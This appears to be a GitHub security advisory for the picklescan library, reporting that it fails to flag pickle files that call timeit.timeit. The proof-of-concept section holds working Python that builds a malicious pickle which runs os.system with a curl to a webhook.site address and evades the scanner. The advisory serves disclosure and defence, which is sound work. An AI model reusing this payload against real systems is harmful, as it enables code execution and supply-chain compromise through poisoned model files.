GHSA-v7x6-rv5q-mhwc

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Source
https://github.com/advisories/GHSA-v7x6-rv5q-mhwc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-v7x6-rv5q-mhwc/GHSA-v7x6-rv5q-mhwc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-v7x6-rv5q-mhwc
Published
2025-04-07T19:37:21Z
Modified
2025-04-07T20:29:01.500292Z
Severity
  • 5.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Picklescan missing detection when calling built-in python library function timeit.timeit()
Details

Summary

Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like timeit.timeit(). And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to timeit.timeit() function from timeit library in reduce method Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

  1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
    import pickle
    import timeit
    class Payload(object):
        def __reduce__(self):
            return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
    def create_payload():
      with open('payload.pickle', 'wb') as f:
        pickle.dump(Payload(), f)
    create_payload()
    
    Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()
  2. The victim will use picklescan library to check out if the received pickle file is malicious or not
    picklescan -p payload.pickle
    ----------- SCAN SUMMARY -----------
    Scanned files: 1
    Infected files: 0
    Dangerous globals: 0
    
  3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
    import pickle
    def load_payload():
        with open('payload.pickle', 'rb') as f:
          pickle.load(f)
    load_payload()
    

    Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Recommended Solution

I suggest adding timeit library to the unsafe globals blacklist.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-184"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T19:37:21Z"
}
References

Affected packages

PyPI / picklescan

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.0.25

Affected versions

0.*

0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24